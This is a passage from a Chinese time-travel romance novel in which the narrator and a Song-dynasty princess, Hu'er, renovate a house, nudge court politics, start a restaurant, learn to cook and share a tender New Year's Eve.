“小飞,你怎么这么热啊?”瑚儿明知故问的又贴近了,额头贴在我的脸侧轻轻的蹭着,“是想起哪个美娇娘了吗?” “没有,真没有!她们都没在我的审美点上”我侧过头,换取喘息的机会,刚刚楼里的姑娘应该也算好看吧!我虽然也会欣赏女生,可是审美点还是挺独特的,比如眼睛漂亮的,比如……反正不投眼缘也不会在意。 “审美?”瑚儿总算被新鲜词汇吸引了注意。 “就是别人可能不觉得,但是你一见,就觉得,哇~好美好美、很喜欢的长相!”我粗浅的解释着,然后反问道,“瑚儿的审美呢?有没有觉得漂亮的人?”转移她注意力,然后我也真的想知道,她喜欢看什么样的人!? “好美啊?我从小看到的人都差不多,到了宫外才发现原来人真是各有特点!回想起来,妈妈们、师师姨娘、姐姐妹妹,包括冷雨她们也都挺好看的,爹爹和兄弟们也都俊朗风流,”瑚儿仰起头,确实像在回想,“但要说好看的话,我觉得……金英是我见过最漂亮的人!” “金英?”完颜晴吗!?那个曾经与瑚儿竞争西湖仙子的,偶然相遇的女真女子,确实!如果瑚儿是少有的美人,金英就是从气质到长相和她完全不同的另一类美人,“哦~有眼光啊!” “哦?你也觉得她好看是吧!”瑚儿接过我的话,“她是你的审美?” “不是,不算是吧~”我继续回想。 “那是什么样的?”瑚儿急着追问,“快说啦!” “仿佛兮若轻云之闭月,飘飘兮若流风之回雪……”我轻轻吟诵着。 “翩若惊鸿,婉若游龙”瑚儿接着说道,“你搁这背洛神赋呢?别拿神仙诓我!”气的她轻轻锤了我一下。 “没骗你,我的审美就是洛神!真的!我发誓!”我貌似诚恳的说着,举起三指点在她额头上。 “你上哪里去见神仙啊!”瑚儿背过了身,“不理你了!” “原本诗句里的话我确实想象不出!直到那时……”她应该记得我们初遇的场景,只是她不会知道我曾经真的偷偷看过她宛如洛水仙子的模样。 初见时心脏被捏住的感觉,又涌上来,让我开始晕晕乎乎! “小飞,我有点冷了,你抱着我吧!”瑚儿没有转身,而是弱弱的说着。 我舒了口气,从后面环抱着她,而她也轻轻的靠了回来…… 晚安!我的洛神…… 迷迷糊糊之间,我真的梦见我们回到了洛水边……而多年后,在上京城,我们夜里相依聊天时,她告诉,我那晚说了梦话…… 67、香气 难得睡了一个好觉! 第二天一早我们便和冷雨冷岩一起出去看房子。本来作为帝姬,瑚儿是有在建府邸的,不过她打算把它赔给金奴,毕竟金奴的宅院在我们“成婚”当日被瑚儿“火攻”了。现在既然时间有限,重新挑地方建已经来不及了,只好买个小点的翻修一下变成瑚儿的梦想家园! 没想到,大宋经济繁荣,让服务业的买办中介已经极具规模。提出意向后,很快便有了几处宅院可以挑选。一上午就看了三家,最后一家是一位被贬谪琼州官员的老宅,前后两个院子共有十几间房,总体来说不大不小,离她师师姨娘又近,所以我们便付了定金。 安家第一步,好像还挺顺利! 房子定下来,我就去枢密院报到,她们则继续联系可以尽快施工的队伍。 枢密院今天倒是没有开会,而是让大家自行核对军册,既然粮草和作战计划没人拍板!那这些零碎的结论自然也不重要。试了几次早退,均被同僚甲拖住。我急着的心也不得不按下去,随手抄了几个数据,跑到藏书阁看看,原来这里不止兵书,还有不少墨家机关的典籍,看图就觉得很神奇!遇到有兴趣的事,时间就会走的快一点、 不知不觉日头偏西。我绕过同僚甲乙丙丁的围追堵截,径直跑回家。 “都还顺利吗?”我们不约而同的问,“算是吧!”又异口同声的答。 而后她说着工头们的大包大揽的豪言壮语,我话着同僚们的畏首畏尾的步步为营,被彼此生动的演绎逗笑,分享一番后居然也能获得更多的快乐!也舒缓了整日的疲累。 夜里,我们泡着脚研究翻修施工图纸,想着明天去现场看看有没有需要增删修改的地方。收起图纸,瑚儿又和我说起梁山征辽的事。 “到底卡在哪里了?”瑚儿关心的说,“毕竟我们受了诸多照顾,他们也急着建功!咱们看看能不能帮上忙啊!” 按我的记忆,梁山被招安后征辽会大获全胜,而后才是惨烈的征方腊……过程波折与否并不会影响结果,加上我最近一直在想着瑚儿的事,所以也就没怎么上心。 “可能是一些好处怎么分,没谈拢!”我想了一下,拿起笔一面说、一面画着人物关系图,“而且各家也都要面子!”起初只是涉及争吵的几位院事,加上后方势力和地域党派,没想到越画越庞大复杂。 “可以啊~小飞飞,哦不对,曹大人,”瑚儿说着向我做了一揖,仿佛官员互相见礼,“入仕没多久,门道看的挺透嘛!” “嘿嘿!好歹是探花郎嘛!”其实因为我驸马的身份,平时同僚们不会为难我,也不会轻易接近我,这也让我有机会静静的观察,看他们亲疏远近的相处,或针锋相对或暗自较劲,多少也能看得出来点。加上金奴、瑚儿平时有意无意“科普”的八卦轶事,自然是如同开了攻略。 “刚说你胖就喘上了!”瑚儿轻轻戳了戳我的头“文科武探花!” “公主饶命~我知错了,都是你们调教的好!”我合十双手求饶。 “好了,不闹了~”瑚儿拉过我的手,回头继续伏案看着关系图,轻轻抚着纸上的线条,喃喃道“突破点在哪里好呢?” 看着瑚儿认真的模样,我不禁想,如果结局已经注定,过程还重要吗? “瑚儿,早点休息吧!这里面盘根错节,我们一时缕不清的。”我一边劝着,一边顺手将她垂下的头发掖到耳后,“而且就算我们什么都不做,他们也一定可以顺利征辽!” “道理是这些道理,可咱们有余力还是得推一把啊!”瑚儿看向我,“一来是感谢、二来是锻炼啊!” “锻炼?”我重复着,锻炼谁?我们吗? 瑚儿见我疑惑,点点头说着,“二姐考我安身立命靠什么?我想第一步是先独立门户,有个自己天地,然后力所能及的有个好营生,这个咱们一步步来。至于你,有机会能在朝为官,接触的都是人精儿,不妨试试能不能解决遇到的问题,不求大有作为,就求个经历!将来没准能在哪里用到呢?” 瑚儿的话是有道理的,我以往都是被命运逼着走,不断地为了活着奔命,如今也算有点正常人生活的样子了,虽说我们已经比常人轻松不少,金手指大开,钱财机遇已经是常人百姓奋斗多年都不敢想的。但人生际遇谁又说的准呢?今日挑选宅子时,看着残垣布满蛛网的庭院,不禁想,这些宅院的主人何曾不是风光无限的“旧时王谢”!如今也难逃为求生计变卖祖产度日的命运。我在我的时代还未正式步入社会,学校的人际学问已经不少,看来也是时候多想想怎么在这个时代努力生存下去了! “一行行行行行!”瑚儿看着我写下的绕口令,试着读了读,一时没有成功,我便笑嘻嘻的一面点着字一面读起来,然后对瑚儿抱拳行礼“承蒙夫子点拨,我会努力的!” “免礼”瑚儿顺着我的开始演戏,清了清嗓子命令道“那小飞我们一同谋划一下吧!” “遵命~”我拉过关系图开始琢磨,然后一面叨咕一面写写画画,“如果出征是必然结果,往回倒推,那粮草必须跟上,附近的粮库有三处……陈都尉是蔡太师的侄女婿,已有几年未升迁……刘院事和郓王交好,与王指挥使曾因政见不和互相上过折子对狙……还有……”“栗院丞是我七姐姐夫家的同窗”瑚儿也在一边提醒我,就这样一点点梳理,终于在添了一次灯油之后,我们捋出了一个流程图。 “差不多了,理论上可行哈!”我活动着肩颈说着,瑚儿拿起图纸细看,不时微微点头,又拿起笔圈改。 “瑚儿”看着她,我还是问出了那个问题“结局已定的话,过程是不是不重要了?” “嗯?”瑚儿依旧在看着改着,而后轻轻的说“虽然姐姐是这么教我的,但是我不觉得”。 瑚儿揉了揉眼睛看向我,“我以前确实也许过愿,所有事和人都有始有终,这点我依然希望,只是……过程经历也很重要啊!比如说两个互有心意却未曾表明的人,其中一个不在了,是不是到死都会遗憾未能对她说出爱意呢?每个人都要经历生老病死,死亡才是一定逃不掉、改不了的结局吧!难道因为会死,现在的日子就不好好过了吗?” “哇!你这是看破红尘了啊!宋帅居士!”我被瑚儿超脱的感悟吓了一跳,其实自从芊寻离开后,我才突然意识到瑚儿原比我想的成熟,或者说-我见过了太多她天真的模样,而忘记了古人的早熟以及她皇家的出身,她本来该有的能力。 “哈哈,我可还没快活够呢!”瑚儿笑着说,“再说现在的每一天,无论悲喜,有可能都会是未来值得怀念的日子!” “是宝贵的记忆!?”我接着她的话,与她异口同声说道。 “你怎么又在偷偷攒回忆的感觉?”我不禁托起下巴看着眼前这个明明还不到20岁的女孩,思考她到底在想些什么奇奇怪怪的呢? “对啊!一起啊~哈哈哈哈”瑚儿挑眉邀约而后笑起来,“其实想想,如果结局已定,我们是不是轻松很多啊!因为可以放心大胆的捣乱,也不会影响结果啊!” “哈?”这种莽撞的感觉,还有点熟悉!“好,明日我就动手,不过咱们得明哲保身,要神不知鬼不觉的鼓动他们做出选择!” “哦呦~官场老油条的味道飘出来喽!”瑚儿故作嫌弃的摇摇头,起身往床边去准备休息。 “我是老油条?你就清新淡雅的花了呗?”我自然不想示弱放过她,就追过去一边逗她瘙痒,一边贴上去“不行,我得好好闻闻,沾些高雅之气才好!” 瑚儿笑着反抗,我们在拉扯之间竟然失了重心,一起倒在床上,好在我的手支撑着,没有压到她,不过头刚好停留在她肩膀上,微微侧过脸,就能闻到她发丝里散出来的淡淡香味以及触碰到她脖颈间的细汗,因为经常在一起,我已经快失去了对她气味的感知了,好像我们的气息早已渐渐的融为一体。 如今想起,那拨动心弦却又让人安心的矛盾感,依然那么熟悉。 “你嗅够了没有?”瑚儿戳了戳我的背,让我清醒过来。 “嗯”我轻轻应着,连忙起身,深吸一口气,平复一下心情。 “怎么样,被本公主独有的香气迷晕了吧?”瑚儿起身看着我发烫的脸颊,调又戈着。 “也就那样啦!”我故作不在意的说,“和我差不多!” “怎么会,你再好好闻闻”瑚儿过来抓我,被我闪躲开。“不要,太变态了……”“那我再闻闻你……”又闹了一会,我们才觉得疲累的睡去。 幸好今天累了一天,她没有在嚷嚷着要我讲故事,不然满脑子都是香气这个词,除了恐怖片《香水》,恐怕就只有《柑橘味香气》这个了,可是这禁断的情感故事,我现在已经不敢和她轻易讲起了…… 68、如梦初醒 翌日清晨,我们互相勉励、嘱咐一番: “你去院里”ヾ(^_^)?" “你去监工”( ̄▽ ̄)/ “加油!”然后击掌道别 ヽ(*^~^)人(^~^*)ノ 到了枢密院,我按照和瑚儿商量好的,先和同僚戊“闲聊”透露些信息,激发起王大人的私心,在策应派兵的事上,积极推荐了自己的远方表弟…… 然后一切就像多米诺骨牌一样,所有人都为了自己而行动起来……也许真是注定的进程吧!我们在其中只是顺应着推动了命运的齿轮! “咔嚓……” “我看今天谁敢动?”一位衣衫破旧,眼中布满血丝的中年男人,费力的拔出砍在门槛里的柴刀挥舞着,吼着“你们要钱没有,要命一条……” 早些时候,我见征辽的事已有进展,便偷偷溜出来,想去看看瑚儿的宅子进展如何,没想到刚刚走到那宅子的巷口,就遇到了上述的场景,我急忙挤进看热闹的人群,只见冷岩护在瑚儿和冷语身前,站在离男子十几步之外。我快步走到瑚儿身边,想问问情况。 这时,离男子更近一点的一群人,其中有个管家模样的人也呵斥起那个玩命男子,“陈诚,你好歹书香传家,一房三买吞了钱也就罢了,还敢在这撒泼,你也不看看我们是谁?得罪了郓王你吃得消!” 原来我们看中的房子,已经被卖了两次,好巧不巧,买主分别是瑚儿的两位皇兄:三皇子-郓王赵楷、九皇子-康王赵构。 康王?泥马渡康王那个南宋皇帝?我少有的宋史记忆终于苏醒了点,也让我如梦初醒,瞬间汗流浃背,靖康之耻……风波亭……王师北定中原日的悲伤诗句和惨绝人寰的故事充盈在我的脑海中…… “小飞?小飞?”瑚儿见我呆住了,轻轻唤着,“情况大概就是他给娘治病把钱都花光了,也是逼急了才横刀阻拦,这房子?” “我们不要了,好不好?”我拉起瑚儿的手,认真的劝慰,“定金既然要不回,就算了,我们再找一处便是!” 瑚儿点点头,欲离开之前却又被我拉住,我想如果我们能够在宋代生活下去,在那场浩劫来临之后能够幸存下来,最应该抱的大腿就是康王了吧!就算不能太交好,能留个好印象也行。 “瑚儿,能不能和你三哥说说,把房子让给九王子?”我恳切的说着,“你九哥不是为了扩充宅院吗?他的宅子就在这旁边,给他似乎更好!”我尽力压制住忐忑恐惧,回忆着刚刚大家说的情况。 “这……三哥很受父皇宠爱的,性子也傲气,只怕……”瑚儿有些为难,但是看我惶惶的样子,她微微抿了抿嘴唇,似乎咽下了一些话,随即说“我想想办法!” 就这样靠着瑚儿的斡旋,以为皇后积福为由,劝说郓王放弃了追究,放那陈诚带着母亲离京,康王如愿得了房子,为了感谢也送了一些礼物给我们。瑚儿和我说,她九哥性格沉稳内敛,从来不喜与人结交,但是听闻他在练习射箭,我便拜托花荣选了一张上好的弓送与他作为回礼。只是没有想到,正是这射箭之术,让他后来出使金国大放异彩,从而免于被掳走的命运,后来还登上了他梦寐以求的宝座。这也为我和瑚儿将来南归留了一段故事。 不过这是后话了…… 当时的我们,安身立命的第一步刚刚达成,就被迫又退回到了原点。瑚儿不解,和我小小别扭了几天。为了赔罪我自然是更热情的陪瑚儿找房子,每日跑到日头渐沉才作罢。 “所以,你现在可以说理由了吗?”瑚儿看着满头流汗的我,终于忍不住问道,“自从那日你一来就突然偏向九哥,事解决了还一连几天绷着脸,到底是怎么回事?” “瑚儿,你有没有想过……”我看了看四下没什么人,但还是突然贴近她耳侧,近到我感觉自己的气息打到她脸颊上又热乎乎的弹回我脸上“你九哥有九五之相!” 瑚儿轻轻颤栗了一下,随即分析说道“怎么可能?论嫡、长、贤,亦或者父皇的喜爱,九哥之前的人都太多了!况且咱们本来也不喜欢掺和这些,你就别瞎想了!还有……”瑚儿脸色红红的嗔道“以后不要贴我这么近说话……在外面”瑚儿说完轻轻揉了揉耳朵快步向前走去。 “哦~”我应和着,忙跟了上去…… 终于,在跑遍了全城之后,我为瑚儿找到了天选梦之居,一座相对偏僻又只有一个庭院和七八间房的宅子。 “小飞,我还有些俸银,咱们倒也不必省成这个样子!”瑚儿环顾着乱七八糟的宅院叹道。 “瑚儿,你别看这里现在这样,你设计的那些都可以实现!”我用袖子扫扫石凳上的灰尘,让瑚儿坐好,然后开始讲解,这宅子虽然间房不多,但胜在院子宽敞、院墙很高,除了有桌椅、秋千、晾衣架外,还有不小的空间,“可以栽种杏树、梅树、桂树、银杏树,这样一年四季都景色和花香”我凭空挥手指着院子里的各个方位,引得瑚儿像是被逗猫棒调又戈的小喵。 “还有,你不是想要密道吗?”我推开一扇门,“这里曾经是个厨房,下面有个很大地窖,找土工师傅再挖一挖便可通到外面。” “朝南的主屋上有个小阁楼,可以看到汴河,这里离汴河不过两条街”我继续认真的说着,“万一有什么突发的情况,我们可以马上逃到河边乘船顺着运河南渡到杭州!” “哈哈~”瑚儿突然笑道,“开始还挺正经,怎么后来变成逃难了?” “居安思危嘛!”我回到瑚儿身边拉起她的手轻轻的握着,思索着要不要把未来的灾难说出来。 “好啦,看在你想了这么多的份上,我们就买下这里吧!”瑚儿回握着我的手,“平日里你都像个火炉,今天怎么手这么冰,在害怕什么?” “世道……不太平”我蹲下身不敢看瑚儿,我不知道未来靖康之耻的惨状会把我们影响到什么程度,我真的想现在就带瑚儿逃走,可就算是她相信我的妄语,她也不会放下她所有的亲人朋友独自偷生。我不可能改变历史,不可能救下所有人,史书上的寥寥数语便是她们的一生,那我能否找到时空的缝隙呢? “不管你想到了什么?都别太怕啦!我们不是说好把现在经营好吗?”瑚儿一面说着一面俯下身,额头贴着我的额头,带着我放缓呼吸,“乖啦~提起精神来,我们一起把问题都解决!好不好?!”她冰冰凉凉的体温,让我渐渐的冷静下来。 当晚,商量好以后了,瑚儿就迫不及待的打开《问心》,在“何以安身”那一页简单写下了今日的情景,把对这座小宅院的畅想还有顺手买下的周边产业写了进去! 在那个时代,有钱有势的人都追求不动产如土地、宅院的积累,可是若这繁华的背后是山雨欲来风满楼呢?既然有一定经济基础,不如试着经商吧!如同我试着在枢密院苟着,那市井之间的营商之道,更免不了与人接触,因为人心善变,所以最考验锻炼本事,如果能琢磨出个规律,将来也许在哪里都能重新开始,越过越好吧!这样想着我们把买宅院省下的钱,用来盘下了附近的一家稍显陈旧饭馆和一座染布坊,因为宅院离汴河码头很近,虽不是富庶区域,但商贾往来、各种工人也多,刚好算是锻炼经营之道的开始。 然后我以这两种生意都依赖人流和货源为由,坚持不懈、软磨硬泡瑚儿数日,她终于还是买下了一艘半新不旧的货船。 一时之间,需要翻修的地方从一处变为了四处,瑚儿一边看图纸一边摇头,“我真是鬼迷了心窍,为什么不学着别人买房置地收租,反倒要遭这种罪!?哎~呜呼哀哉~” 我“自知理亏”,便只能更用心的“服侍”她啦!按摩、端茶递水一样不敢怠慢,睡前也是绞尽脑汁的讲着巴清、俞大娘、奢香夫人等等政治、商业上女强人的故事激励她。所以接下来的日子,我们经常是早上斗志满满的击掌道别,我尽快应付完院里的事,赶去与她汇合,然后一起忙活到晚上如行尸走肉般的瘫倒在床上,痛苦并快乐着。 大约半月之后,我们“事业”上也算初有所成就,梁山兵众终于顺利出征伐辽了,货船修好可以下水航行,饭馆和染布坊也顺利修缮着,至于小宅院吗?门窗倒是换好了,只是地道和一些设施还找不到合适的师傅。 这日我们正在宅子里讨论秋千旁边那过高的灯笼杆的去留,一群人抬着一对石狮子突然到访,带头的正是梁山上的玉臂匠金大坚。 “曹大人、宋姑娘,许久未见!大当家命我们来给二位搭把手……”金师傅和我们打招呼后说明来意,宋江率众顺利出兵前,深觉定是背后有人推助,思来想去朝中唯一算得上朋友的也就我了,恰好听闻我和瑚儿在翻修宅院,便想着也借机还个人情吧! “我们的本事虽然都不在战场上,但干这个可是行家,二位放心吧!”说着金师傅接过图纸开始安排起来,宅院里一下子比原来更加热闹了。 就这样,厨房下的地道很快被打通,院内也留好的机关锁,更安全些。那小楼阁也焕然一新,推开窗,看着汴河宽敞的河面,也算是弥补了瑚儿看海的愿望,每日傍晚到此,心情都可以舒缓不少。 这日,院内的几株花树、果树已种植好了,瑚儿陪着工匠为地面铺好小石头,在摆出点图案花样来。我和师傅们商量着浴室的事,因为瑚儿的寒症,多热水沐浴总是好的,只是怕木桶保存热量时间不够,干脆建一个浴室,用砖砌好一个大的凹进去的炕,下面可以添柴,炕里可以放置一个定制的大木桶,这样“铁锅炖自己”的常温浴室就建好了,为了安全起见,我就是让师傅在把浴室的台阶砌的平缓一点,室内再做几个可以放暖炉的地方,这样能保证洗完澡之后出来也不会太凉。 “曹大人对宋小姐还算有良心啊!”从在建浴室走出来,我听到铺地的工人在窃窃私语讨论着,“能不好吗?毕竟他有家室,宋小姐没名没分的跟了他,被金屋藏娇在这里,已经够委屈了,再不好好安顿!?还是人吗?” 啥,金屋藏娇?我藏她吗?你们只知道我是曹大人,不知道她是谁是吧! 我哭笑不得的摇头,刚好瑚儿也看向我,我可怜巴巴的看着她,心里想:公主,你说句话啊!公主! “咳!”瑚儿清了清嗓子,一面向我走来一面对工匠们说“诸位可能误会了,这确是我的宅院,我家的出身也不会轻易被人欺负,若非要说是金屋藏娇,只怕也是我~藏他!所以大家不用为我抱不平啦!”工人们忙低头干活,瑚儿走到我身边,向我挑了挑眉,好像在说,我给你做主喽!感动的我恨不得马上鸵鸟依人在她肩头。 “师傅们连日也累了,待会让冷雨给大家多加几只鸡!”瑚儿随即说着,大家自然叫好。 就这样,出乎意料的顺利,小小的宅院很快被修缮完毕了,瑚儿给它起名“心园”。挂好了牌匾,过几日我们便要搬过来了。 “宋小姐放心住,这房子百余年都不会有问题!”送走了工匠们,我俩也终于短暂的放松下来。 “小飞,你喜欢这座宅院吗?”瑚儿打着秋千问着,我轻轻的推着她,回答道“喜欢!” “我也是!”瑚儿又问,“那我们永远住在这好不好?” “瑚儿,房子的图纸你收好了吧!”我没有回答,而是轻轻的说着,被“百年”“永远”拉入沉思中。我们努力建好的这个家园,会永远在吗? “不是能住一百年吗?留图纸干嘛?”瑚儿自然回答着。 “万一以后要修补呢?或者……”我不觉停下来了手里的动作,“或者我们在这里住腻了,到别的地方再建一个!” “哎呀,这小小的地方,你不是都记下来了吗?就算再建一座,也有你啊!”瑚儿停下了秋千回头看着我,“难道未来你会不在我身边吗?” 我会永远陪着你的!我多想这么回答…… 69、获心 “难道未来你会不在我身边吗?”瑚儿看着我。 “我怕公主会烦我啊!”我明明想说我会永远陪着你,可我只敢说“我现在整天神神叨叨,怕这怕那的!” “是啊!胆小鬼!”瑚儿微微低下头无所谓的笑了笑,随即起身说,“走吧,天色不早了,咱们先回万福园!”到我身边时,她自然的拉过我的手,却故作嫌弃的说“你也会怕黑吧!?手借给你牵啦!” “小飞,我们的饭庄叫什么好?”晚上,瑚儿用笔拄着太阳穴思考着,划掉了几个又接着写下“飞瑚山庄”,额,还好不是雪山飞狐!我忍住笑。 “要不问问师师姨娘?”我想着李师师结交的名士不少,随随便便提个字也能名动京师吧! 最近我们的饭庄已经修缮完毕,人手也补充了不少,因为征辽大捷,梁山将帅都没有什么严重伤亡,可是士兵伤残难免,朝廷虽有抚恤,却难以为继。我和瑚儿想着,反正我们做买卖也不为了大富大贵,先求个平衡收支让众人能糊口就行。便收留了一些不愿归乡的伤兵,安排在饭庄、染布坊、货船上工作。梁山上善于经商的柴先生也感念我们的所为,找了几个有经验的掌柜亲自教授瑚儿营商之道。 一时间,万事俱备,就差开业了。 “就当是为我大宋积福了!”师师听着我们的打算,感叹道。而后借着冬至诗文会,将此事传扬开来,不但为我们征得当时书法大家的题字,也获得了“天恩居”“添福坊”的名号,不少人或是凑热闹或者为了好名声而抢着光顾。后来李师师更是引导皇上在一次醉酒后说,就要喝“天恩居”的鲜鱼汤来醒酒,而让我们店里的美食一时间成了京城里的“爆款”。 因为我对经商实在没有什么兴趣,也没有瑚儿那么有天赋,所以就把夸夸变成了日常,瑚儿也在我一声声“瑚儿果然天资聪颖”“公主是财神转世”的赞美声中,把《问心》翻到了下一页——何以获心?原来在那个时代,就有所谓的要想得到一个人的心,先要抓住ta的胃这种说法!瑚儿也开启了她炸厨房的日常。 “公主不要啊~~~”“公主小心!” 这日,我刚刚回到心园,就听到冷语撕心裂肺的叫喊声。 厨房叒冒烟了,没等我冲过去打开门,冷语就扶着瑚儿跑了出来,两人在石凳上平复着呼吸,“公主,油锅着火是不能用水来灭的啊!”冷语一边为瑚儿扇风一边说着。 见我回来了,冷语便和人去收拾厨房,把瑚儿留给我照顾。 我为委屈的小花猫擦着脸,不觉有点心疼。“要不……” “我都试了好几种菜系了,也没有能上手的”瑚儿有些泄气的说,“这也太难了!人都说治大国如烹小鲜,我看分明是烹小鲜难于上青天!” “小飞,我再也不想做饭了!”瑚儿横抱住我腰,痛苦的哀叹着。 “万事开头难嘛!”我拍拍瑚儿得小脑袋安慰道,“其实也不用追究什么菜系啊!就是让自己饿不着,或者让想吃的人吃的好就行啦!”感觉到瑚儿丝毫没有放开我的意思,我接着劝慰道“很多大酒楼也只有一两道招牌菜,要不我们练两道拿手菜就算通过了?” 回答我的是瑚儿肚子咕咕叫的声音。 我问瑚儿还能不能挺一会儿,她点点头。 “来!请你吃小灶!”我拉起瑚儿来到厨房,冷语她们收拾得差不多了,除了墙壁还有点烟黑,灶具、锅具都已经可以用了。我告诉冷语带大家去天恩居吃点东西吧!然后我留下来看看能不能给瑚儿做点吃的,就算不那么美味,起码能填饱肚子,再不济也能给瑚儿一点信心吧。看了看厨房里现有的食材,一锅白米饭、半碗蒸好的火腿、一些葱姜蒜、一筐鸡蛋。可惜我能穿越而来,西红柿却不能,简单下饭的西红柿炒鸡蛋没戏了。想着,我挽起衣袖洗了洗手,开始洗菜、切菜,把葱姜蒜切碎,冲洗了一下刀后又把火腿切成丁粒,准备好这些,我在碗里打了一个鸡蛋开始搅拌,瑚儿在一旁认真好奇的看着。 “试试吗?”我笑着邀约,瑚儿点头接过碗筷,“顺着一个方向,嗯,对,筷子这个角度……放一点点盐”,指导瑚儿打蛋的同时,我盛出两碗饭。 擦干锅、倒上油,稍等片刻,将手浮在锅上感到油温差不多热了,就把一半的葱姜蒜沫倒入锅中爆香,再倒入鸡蛋液。 “其实说治大国如烹小鲜,我觉得是火候和份量的把控吧!”我一面翻炒着一面说着自己的想法,见蛋已经炒成碎花,便加入熟火腿丁和一碗米饭,“瑚儿来,帮我放一点点盐,先别太多,尝一尝再加……” “好吃~”瑚儿尝了一口我们合作的蛋炒饭,眼睛都闪光了,然后拨出一半,开始吃起来。 “再来一碗吧!”说着我将鸡蛋打入另一碗米饭里开始搅拌,直到感觉每一粒米饭都裹上了淡淡的黄色,就又开始重复刚刚步骤炒了起来,不过这次不用单独炒鸡蛋了,出锅前又加了一丢丢黑胡椒粉。 “喜欢哪种?”我把第二碗炒饭端给瑚儿。 “嗯~粒粒分明,也好吃!都喜欢!”瑚儿鼓着腮咀嚼着,“小飞你也快来吃~” 我拿起刚刚瑚儿拨出的半碗饭吃起来,舒了口气,我这也算超水平发挥了! “小飞,你好厉害!”瑚儿一面吃一面赞叹,“还会做两种蛋炒饭!” “主要是你饿坏了吧!吃什都香啊!其实我想说做饭没那么复杂,也没那么教条,”我想了想对瑚儿说“按照差不多的顺序下锅,然后试着逐量加调味,这样就还有补救空间嘛!” 瑚儿点点头。 光盘行动后,她揉揉肚子,开玩笑的说要不在“获心”那里写上:两种半碗蛋炒饭怎么样?反正也没有标准答案!现在吃的开心了就好啊! 我苦笑着,“你这是珍馐美味吃惯了,被半碗炒饭就骗走心了!?” 要是能得到你,别说半碗,全都给你也没问题,可是生活不是只有一餐饭啊!一辈子那么长,得事事始终如一对你才好! “瑚儿,你现在想学做菜也是为了体现心意,找答案”原本对于她学做菜这件事,我全当她一时兴起,现在倒是觉得,可以再劝劝了。“你可以从自己喜欢的口味练起,就当取悦自己了嘛!”等你自己会做了,就不会轻易被别人半碗饭一碗粥轻易骗走了吧! 后来,我又带着她做了一次,我家乡的名菜-锅包肉,正是她喜欢的酸甜口食物,因为油炸,我的手臂被溅上了几个小点。 “当然最重要的是注意安全!锅里有油千万不要添水!”我突然想起,不管她做的怎么样,别伤到就好,“锅里着火你把盖子盖上就好!然后就快跑出来!知道了吗?”(?i_i?) 不知道是我哪句话蒙对了,还是她本就聪慧,瑚儿突然像是打通了烹饪的“任督二脉”,和冷语一起学会了不少家常菜。从最开始的断肠粥到后来的鱼香煎豆腐、素炒虾仁、糖醋排骨…… 不过,因为我们一直都有人照顾,瑚儿也没什么机会大展身手,渐渐的她就把做菜当成了一种放空自己的方式,开心或者有心事时才会做。 “小飞,猜猜哪盘是我做的?”瑚儿指着桌上两盘红烧鱼问道。 又来?不知从什么时候开始她喜欢考我能不能猜出她做的菜,作为见证她厨艺历程的小白鼠,看刀功和颜色就能轻松猜出,瑚儿做的菜颜色会比冷语深一点点,如果可以尝一下,就更不会猜错了。 “有眼光!奖励你去擀饺子皮吧!”瑚儿把另一盘鱼还给冷语,便开始准备起了饺子馅。 马上快过年了,周围忙年的气氛也浓郁起来。明日我们就要进宫赴新年晚宴,瑚儿回忆说好像也没什么有趣的,所以今天我们想自己包点饺子,先感受一下新年的气息。 看着她一面哼歌一面搅拌肉馅,突然让我想起小时候在姥姥家过除夕的场景…… 其实,每个人调味的习惯都不太一样,当吃到我们一起包好的饺子时,我才真真切切的体会到自己确确实实在这个时空生活着,我记得不一样,可是也想不起到底应该是什么味道,我在这里度过了一个又一个节日,离家已经好久了…… “小飞,怎么了?”瑚儿见我眼睛微红,忙关心的问起。 “被蘸汁呛到了”我找了个借口。 可是这汁里没有辣的东西啊! “那……还有没有特别想吃的东西”瑚儿咬了咬嘴唇问着。 “汤圆吧!就是浮元子!山楂馅的”我不由得回忆起来“我妈妈以前元宵节会给我做……” “好!上元节时一定让你吃到!”瑚儿笑着捏捏我的脸,接着举起酒杯说“来,同销万古愁”。 我们酒量都不算好,瑚儿更糟……没喝几杯就嚷嚷着冲到军营去“解救”冷语了…… 刚刚,饺子一出锅,冷语为我们摆好饭桌后,便装好一些饺子和菜去了禁军营,虽然我不是真的谦月,也实在不理解她倾慕曹梦绮这件事!我和瑚儿纵然相劝,她也以为是我们的偏见和恨意吧!久了,她也尽量不在我们面前表现出来。纵然曹梦绮好像一直拒绝她,也没有影响她的执着,逢年节雷打不动的去看他。也许,每个人都有自己的缘和孽…… 而我眼下的孽,是水中近在咫尺的醉酒瑚儿。 她喝醉了,却还闹着要沐浴,谁知道刚刚把她送进热水中,她就拉着我要一起洗,拉拉扯扯的实在奇怪,而且我的衣服也湿透了,只好从命。 其实自浴室建好后,她总会有各种如送浴巾或者添柴等理由,让我可以看到她美人出浴的模样,拜托!不要再上演洛神赋vr影像了(╥_╥)。 本来,我以前和同学一起在澡堂洗澡也没觉得怎样,大家都是女生。何况我和瑚儿每晚相拥取暖而眠呢?我应该可以自然应对的~吧…… 温热的水汽之中,她的脸颊被醉和热晕染的绯红,微微眯笑的眼睛,头发松松的挽起,纤细白皙的手捧起水淋在身上,水珠碎裂又聚集,火光映得她闪着微微晶莹的光芒。 “小飞,擦擦背”瑚儿看着缩在桶一侧的我,轻轻转身将手搭在桶壁,头枕在交叠的手臂上,几绺被水洇湿的头发凌乱的贴在她白皙修长的脖颈后,水汽充盈在我们之间,好热,也许我也有些醉了吧!太煎熬了! 我用手舀起一把水敷在脸上,让自己清醒一点!然后拿起湿手巾轻轻的为她擦背。好细嫩的皮肤,明明已经很轻很小心了!怎么还是会燃起一片片红呢?擦过她的蝴蝶骨……她的腰际,她轻轻的叹息着……我的喉咙里好像有一颗火球,让我不得不吞咽起来。 、 “擦好了,瑚儿”我的嗓音还是沙哑了……随即我就后悔了,因为她可能还晕乎乎的,转过身笑着,随即径直站了起来,如果刚刚她的身体大半在水中,那浑圆饱满和美丽的曲线被水的波纹掩盖着,此刻则直接展现在我的眼前……我已经退无可退,下意识的跳出水面想逃,我回手快速拿起毯子,转过头却发现她向我倒过来,赶忙展开毯子接住她,将她抱在怀中,还好没事。 却听她喃喃的说,“我像不像……你心里的洛神?” 不像!我心中的洛神从来都是你! 半托半抱的将她安放到床上,我正平复着呼吸。外面传来了三更的打更声,我在这里的第一个新年悄然而至,幸好身边有她在,这个让我倍感煎熬,又充满渴望的“债主”! 70、夜宴 